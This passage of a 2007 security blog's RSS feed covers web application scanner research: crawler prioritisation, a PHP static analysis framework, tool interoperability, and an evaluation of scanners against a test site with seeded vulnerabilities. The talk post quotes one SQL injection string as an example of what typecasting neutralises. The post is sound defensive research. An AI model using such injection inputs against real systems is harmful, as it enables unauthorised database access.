      <wfw:comment>http://rgaucher.info/post/2007/12/08/My-Security-Planet#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/92</wfw:commentRss>
      </item>
    
  <item>
    <title>Attack Surface oriented Crawler: Focusing on what you actually want</title>
    <link>http://rgaucher.info/post/2007/12/07/Crawler%3A-Focusing-on-what-you-actually-want</link>
    <guid isPermaLink="false">urn:md5:3ff0cf334a9ee807fd7a70a2ae288dfa</guid>
    <pubDate>Fri, 07 Dec 2007 18:06:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Attack surface</category><category>Coverage</category><category>Crawler</category><category>Grabber</category><category>metrics</category>    
    <description>    &lt;p&gt;Previously, on the python version of Grabber, I used a BFS crawler. Good to scan all the code (as long as the parsers are not that dumb). The problem with these crawlers is that it's totally inefficient: all the problems are not everywhere.&lt;/p&gt;



&lt;p&gt;Starting with this assumption, I tried to start rating what is actually important and what are the evidence that a page may be &lt;em&gt;important&lt;/em&gt; for a security testing point of view. So, the architecture of the crawler is simply based on a priority queue and the priority is for now based on obvious reasoning which may be wrong: The script I prefer testing, is the one that is in POST, where the action is in HTTPS (and so on for the rest...) which gives something like that:&lt;/p&gt;
&lt;pre&gt;
  priority &amp;lt;- 30
  If Form Then
    priority &amp;lt;- 10
    If Method = Post Then
      priority &amp;lt;- 5
  else if Anchor Then
    If Get Variables Then // To Understand: index.php?foo=plop, compared to index.php
      priority &amp;lt;- 20
  If HTTPS Communication for {Method action or Anchor URL} Then
      priority /= 2
&lt;/pre&gt;


&lt;p&gt;This is a fairly incomplete work and kinda dumb, but at least it's unbiased for a set of URL.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/12/07/Crawler%3A-Focusing-on-what-you-actually-want#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/12/07/Crawler%3A-Focusing-on-what-you-actually-want#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/91</wfw:commentRss>
      </item>
    
  <item>
    <title>Static Analysis Framework: PHP-Ast/Oracle</title>
    <link>http://rgaucher.info/post/2007/12/05/Static-Analysis-Framework%3A-PHP-Ast/Oracle</link>
    <guid isPermaLink="false">urn:md5:b9a9687cd34807a5073b97e88233806d</guid>
    <pubDate>Wed, 05 Dec 2007 17:28:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tools</category>
        <category>data-flow</category><category>PHP</category><category>PHP-Oracle</category><category>secure programming</category><category>source code scanners</category><category>static analysis</category><category>Tech</category><category>testing</category>    
    <description>    &lt;p&gt;In my previous blog post, I talked briefly about PHP-Ast/Oracle a PHP source code static analysis framework. I am developing it in order to play with source code and security. The goal of that framework is to be able to perform different type of operations on a PHP source code. I am releasing this tool as it is because I think people may be interested with this... Anyway, I learned a lot doing this.&lt;/p&gt;


&lt;p&gt;PHP-Ast/Oracle is developed in C++ and the tool has been developed mainly for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Implementing  &lt;a href=&quot;http://trac2.assembla.com/php-ast/wiki/Metrics&quot; hreflang=&quot;en&quot;&gt;source code (security) metrics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Gathering information on the source code (data-flow variable paths, etc.) by building the model&lt;/li&gt;
&lt;li&gt;Creating personal &lt;a href=&quot;http://trac2.assembla.com/php-ast/wiki/Obfuscations&quot; hreflang=&quot;en&quot;&gt;source code obfuscations&lt;/a&gt; (currently only pattern based is supported, no data-type)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://trac2.assembla.com/php-ast/wiki/ast2source&quot; hreflang=&quot;en&quot;&gt;Source to source converter&lt;/a&gt; (e.g. PHP to C++ code for static analysis purposes)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;How it works&lt;/h3&gt;

&lt;p&gt;The source code repository is divided in 2 parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;php-ast is the converter from PHP to XML&lt;/li&gt;
&lt;li&gt;php-oracle is the actual engine&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;php-oracle get a XML file as input which is the output of php-ast. In the SVN there are some python scripts I used in order to combine the 2 tools (they may be outdated i.e. doesn't work with the current php-oracle).&lt;/p&gt;


&lt;h3&gt;How I think you could use php-oracle&lt;/h3&gt;

&lt;p&gt;I do not attend to make a clean build with an executable etc. I just provide source code. I decided to give only the source code because I don't want to spend too much time on creating a clean software, it's only research oriented stuff. Furthermore, there is not much documentation in the source code (advantages of being alone to develop such a tool) and then, only really interested people will download this! I can then help them if they have some question about how it works etc.&lt;/p&gt;


&lt;h3&gt;Getting the source code&lt;/h3&gt;

&lt;p&gt;You can download the source here: &lt;a href=&quot;http://rgaucher.info/beta/php-ast/php-ast-oracle.zip&quot; hreflang=&quot;en&quot;&gt;php-ast-oracle.zip&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;And the trac repository has more documentation about what the framework actually does: &lt;a href=&quot;http://trac2.assembla.com/php-ast&quot; hreflang=&quot;en&quot;&gt;http://trac2.assembla.com/php-ast&lt;/a&gt;&lt;/p&gt;


&lt;h3&gt;Development&lt;/h3&gt;

&lt;p&gt;The tool is in perpetual development, I don't want to create a real software from that, but I think people can use it to perform security analysis, compute stuff, make code transformation and so on.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/12/05/Static-Analysis-Framework%3A-PHP-Ast/Oracle#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/12/05/Static-Analysis-Framework%3A-PHP-Ast/Oracle#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/90</wfw:commentRss>
      </item>
    
  <item>
    <title>Yet another study oriented release</title>
    <link>http://rgaucher.info/post/2007/12/02/Yet-another-study-oriented-release</link>
    <guid isPermaLink="false">urn:md5:b8baf4a4efbd8753d4a2685e1f9c04b6</guid>
    <pubDate>Sun, 02 Dec 2007 20:57:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Tools</category>
        <category>metrics</category><category>php</category><category>preprocessor</category><category>SAMATE</category><category>security</category><category>source code scanners</category><category>testing</category>    
    <description>    &lt;p&gt;I've been working a couple of months on a project named php-ast/oracle. I am opening the source of the project today because I think that people may be interested in such a code. Roughly, php-ast/oracle is able to get/transform information on a php source code, I used it for: creating &lt;a href=&quot;http://rgaucher.info/b/index.php/post/2007/09/04/Source-Code-Obfuscation&quot; hreflang=&quot;en&quot;&gt;real obfuscations&lt;/a&gt; (control-flow, data-flow), implementing &lt;a href=&quot;http://rgaucher.info/b/index.php/post/2007/10/10/Working-around-security-metrics&quot; hreflang=&quot;en&quot;&gt;security metrics&lt;/a&gt;, writing a converter from php to c++ for static analysis purpose and some other stuff such as variables flow etc.. You can have more information here: &lt;a href=&quot;http://trac2.assembla.com/php-ast&quot; hreflang=&quot;en&quot;&gt;http://trac2.assembla.com/php-ast&lt;/a&gt;. I may post about this project later don't have much time now...&lt;/p&gt;




&lt;p&gt;But this news is only for releasing a script I used a lot this last weeks; a PHP preprocessor. I've been using this preprocessor in order to clean the crappy PHP code we can found in the wild... in order to use php-ast/oracle correctly for calculating security metrics and so on.&lt;/p&gt;


&lt;p&gt;The preprocessor is actually doing 3 things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Simplifying the strings (keeping only the php variables in the strings -- really important for keeping the AST small with SQL queries and so on, because the strings could be evaluated in PHP, the AST would need to tokenize the strings)&lt;/li&gt;
&lt;li&gt;Removing comments and HTML&lt;/li&gt;
&lt;li&gt;Resolving the file inclusions (not for dynamic variable inclusion of course, but it's working with define names and static names)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The preprocessor is available here: &lt;a href=&quot;http://rgaucher.info/beta/php-ast/preproc.zip&quot; hreflang=&quot;en&quot;&gt;preproc.zip&lt;/a&gt;&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/12/02/Yet-another-study-oriented-release#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/12/02/Yet-another-study-oriented-release#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/89</wfw:commentRss>
      </item>
    
  <item>
    <title>The new grabber</title>
    <link>http://rgaucher.info/post/2007/11/21/The-new-grabber</link>
    <guid isPermaLink="false">urn:md5:bb2cd507238fb97779fb24727b56507b</guid>
    <pubDate>Wed, 21 Nov 2007 19:32:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Information</category>
        <category>Black Box</category><category>Grabber</category><category>JavaScript</category><category>News</category><category>security</category><category>Tech</category><category>testing</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;Grabber was a nice project. The main goal for me was to learn stuff around web application security/scanners; I didn't really know much before I started this project.
But now that I've been playing with web apps scanners for more than 10months, I need to create a new one and go deeper in heuristics, browser integration and AI.&lt;/p&gt;


&lt;p&gt;Grabber was in fact more a spider+fuzzer than something else... Not a good web apps scanner at all. Thinking of the analysis engine... It's something kinda stupid, no JavaScript execution, just simple heuristics for parsing and levenstein distances ;)&lt;/p&gt;



&lt;p&gt;Anyway, I decided to start over this project. It's not gonna be a bunch of python scripts anymore, I am gonna use &lt;a href=&quot;http://trolltech.com/products/qt&quot; hreflang=&quot;en&quot;&gt;Qt&lt;/a&gt;/&lt;em&gt;C++&lt;/em&gt; extensively. The idea if this project is to be pen-testers oriented and open, I want to create a kind of wrapper around &lt;a href=&quot;http://webkit.org/&quot; hreflang=&quot;en&quot;&gt;WebKit&lt;/a&gt; (especially using &lt;a href=&quot;http://labs.trolltech.com/blogs/2007/10/12/open-qtwebkit-development/&quot; hreflang=&quot;en&quot;&gt;QtWebKit&lt;/a&gt;), a spider as core utilities and after, using plugins. The plugins should be either in &lt;em&gt;C++&lt;/em&gt; or JavaScript (&lt;a href=&quot;http://labs.trolltech.com/blogs/2007/01/05/say-hello-to-qtscript/&quot; hreflang=&quot;en&quot;&gt;QtScript&lt;/a&gt; actually). So far, we are 3 guys thinking of this project: we didn't start yet but we are open to every contribution; the project will of course be free and GPL'd.&lt;/p&gt;



&lt;p&gt;I just post this in order to get some comments or suggestions about what a web apps scanner should do... Feel free to comment/mail...&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/11/21/The-new-grabber#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/11/21/The-new-grabber#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/88</wfw:commentRss>
      </item>
    
  <item>
    <title>Interoperability and web application scanners</title>
    <link>http://rgaucher.info/post/2007/11/12/Interoperability-and-web-application-scanners</link>
    <guid isPermaLink="false">urn:md5:c745948d5e82f418a6b83a5dd9705ed3</guid>
    <pubDate>Mon, 12 Nov 2007 14:46:00 -0500</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Black Box</category><category>Grabber</category><category>security</category><category>Vulnerabilities</category><category>WASC</category><category>WASSEC</category>    
    <description>    &lt;p&gt;Talking about &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_Application_Security_Scanner&quot;&gt;web application security scanners
&lt;/a&gt;, we all have the same problem: False Positive. It's a fact that cannot exactly be solve by the testing methodology itself (since it relies on pattern detection).
So, the idea I started talking about on #webappsec today is a common format for exchanging information between tools.&lt;/p&gt;



&lt;p&gt;Ideally, this would work like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Tool A is scanning a website.&lt;/li&gt;
&lt;li&gt;It exports some information a given format: &lt;em&gt;out-tool-a.xml&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Tool B is able to understand &lt;em&gt;out-tool-a.xml&lt;/em&gt; and take this as an input&lt;/li&gt;
&lt;li&gt;Tool B would then be able to verify the results/false-positive of Tool A by scanning with the information in the &lt;em&gt;out-tool-a.xml&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;p&gt;I really think that would be helpful somehow, at least for open-source tools.
I'm gonna try to implement this for the next release of &lt;a href=&quot;http://rgaucher.info/beta/grabber&quot; hreflang=&quot;en&quot;&gt;Grabber&lt;/a&gt;.&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/11/12/Interoperability-and-web-application-scanners#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/11/12/Interoperability-and-web-application-scanners#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/87</wfw:commentRss>
      </item>
    
  <item>
    <title>My talk at the Verify Conference</title>
    <link>http://rgaucher.info/post/2007/11/01/My-talk-at-the-Verify-Conference</link>
    <guid isPermaLink="false">urn:md5:f7eb63353afa2f211daaab792a94acb7</guid>
    <pubDate>Thu, 01 Nov 2007 09:04:00 -0400</pubDate>
    <dc:creator>Romain</dc:creator>
        <category>Discussion</category>
        <category>Black Box</category><category>Coverage</category><category>Evaluation</category><category>metrics</category><category>SAMATE</category><category>SQL Injection</category><category>testing</category><category>Vulnerabilities</category>    
    <description>    &lt;p&gt;Last Tuesday, I went to the &lt;a href=&quot;http://verifyconference.com/&quot; hreflang=&quot;en&quot;&gt;Verify conference&lt;/a&gt; to give a talk about Web application scanners evaluation: what we are actually doing at NIST. I'm gonna make a simple entry reviewing what I actually talked about. &lt;a href=&quot;http://rgaucher.info/work/NIST/Verify07_Slides_Fong-Gaucher.pdf&quot; hreflang=&quot;en&quot;&gt;The slides are here.&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;First of all, the evaluation was made with a test suite I made. The choices for the test suite are kinda simple, I wanted something really close to a real website. So I decided to use a real website (not a couple of test cases). The website contains multiple seeded vulnerabilities from different kinds (XSS, SQLi, RFi, CSRF, etc.). The website is actually configurable in a sense of vulnerability: you can choose what vulnerabilities will be in the website or not (let's say, I only want to have XSS vulnerabilities). Moreover, in order to see the web apps scanners capabilities, we can select a type of defense for the current protection: the level of defense.&lt;/p&gt;


&lt;h3&gt;Level of defenses&lt;/h3&gt;

&lt;p&gt;Programmers are different. They have different background, knowledge and approach to solve security problems. The filters we can see in wild web applications are not equivalents, some are good, some are just bad and we have the full shade of effectiveness.
So, in order to test web apps scanner with different difficulties (for them) we implemented different level of protection around the vulnerabilities: the level of defenses.&lt;/p&gt;


&lt;p&gt;A simple example: SQL Injection&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Level 0: No protection&lt;/li&gt;
&lt;li&gt;Level 1: Typecasting (in order to convert integer, boolean, double, strings, dates etc.). This protection will limit the SQL Injection on SQL native number types (integers will be converted as integer: &lt;code&gt;1' OR 1=1--&lt;/code&gt; will be converted into &lt;code&gt;1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Level 2: Escaping the meta-characters. We are protecting about quote injection, etc.&lt;/li&gt;
&lt;li&gt;Level 3: Hiding the MySQL errors, we will now have Blind SQL Injections.&lt;/li&gt;
&lt;li&gt;Level 4: Restricted user management.&lt;/li&gt;
&lt;li&gt;Level 5: Using prepared statements.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since the level of defenses will be use in combination, the order is important. (combination: level 2 = level 2(level 1(level 0))).
So, using these level of defenses we are able to select the difficulty that the tool will have to break the vulnerabilities. For the results, if you are looking at the slides, in the detection rate slide, you'll see that there is not result for the level 2 which means that no tools were able to find vulnerabilities in the level of defense 2.&lt;/p&gt;



&lt;h3&gt;Attack Surface Coverage&lt;/h3&gt;

&lt;p&gt;Another point I have been working on is the attack surface coverage. A webapps scanner is not a simple piece of software which launches attacks! The crawling/parsing step is actually really important maybe the most important since it will try to understand the application.
The attack surface of the test application is the places where the user has a direct interaction, means no algorithms etc. just inputs handling, error messages etc.&lt;/p&gt;


&lt;p&gt;Here is an example of attack surface coverage check points (with numbers) for a login function:&lt;/p&gt;
&lt;pre&gt;
(1) Touch the file [login.php]
if ( all fields are set ) then
	(2) All fields are set [login.php]
	Boolean goodCredentials = checkThisUser(fields)
	if ( goodCredentials ) then
		(3) Credentials are correct; the User is now log in [login.php]
		registerCurrentUser()
	else
		if ( available login test &amp;gt; 0 ) then
			(4) Login information incorrect [login.php]
			displayErrorLogin()
			available login test -= 1
		else
			(5) Too much try with wrong credential [login.php]
			displayErrorLogin()
			askUserToSolveCAPTCHA()
		endif
	endif
endif
&lt;/pre&gt;

&lt;p&gt;Basically, we would like the scanner to use the normal behavior paths and also the abnormals (errors etc.) in order to find vulnerabilities there such as Information Leakage etc.
Just a note about the attack surface coverage rate: this number cannot be interpreted alone. You need to use this with the detection rate and the false positive rate. In the slides you can see that the tool A as a 25% attack surface coverage of the application, but this is also the tool with best findings and no false positive. This means that the tool were able to find 33% of vulnerabilities (best results from all the 4 scanner we tested) in 25% of the application which can be considered as accurate compared to the others.&lt;/p&gt;


&lt;p&gt;The attack surface coverage may have an important impact, depending on what type of testing you are doing with your webapps scanner. If you want  a tool to run at the end, doing a full assessement, then you will need a tool which as a very good coverage (since you only rely on that). But if you are looking for a tool which is fully integrated in your testing process (testing == quality &lt;strong&gt;and&lt;/strong&gt; security) then, I think it's better to have an accurate tool which will cover a lower surface, but the tool will cover the important points.&lt;/p&gt;


&lt;h3&gt;Conclusions&lt;/h3&gt;

&lt;p&gt;This is actually hard to make a real strong conclusion about the results given in the slides. The test application is a real simple website (banking application) and is far from a real company website; this is a huge confounding factor. Another problem is that I did the evaluation one vulnerability at the time (and one level of defense at the time). This prevent a couple of real life behaviors...&lt;/p&gt;</description>
    
    
    
          <comments>http://rgaucher.info/post/2007/11/01/My-talk-at-the-Verify-Conference#comment-form</comments>
      <wfw:comment>http://rgaucher.info/post/2007/11/01/My-talk-at-the-Verify-Conference#comment-form</wfw:comment>
      <wfw:commentRss>http://rgaucher.info/feed/rss2/comments/86</wfw:commentRss>
      </item>
    
</channel>
</rss>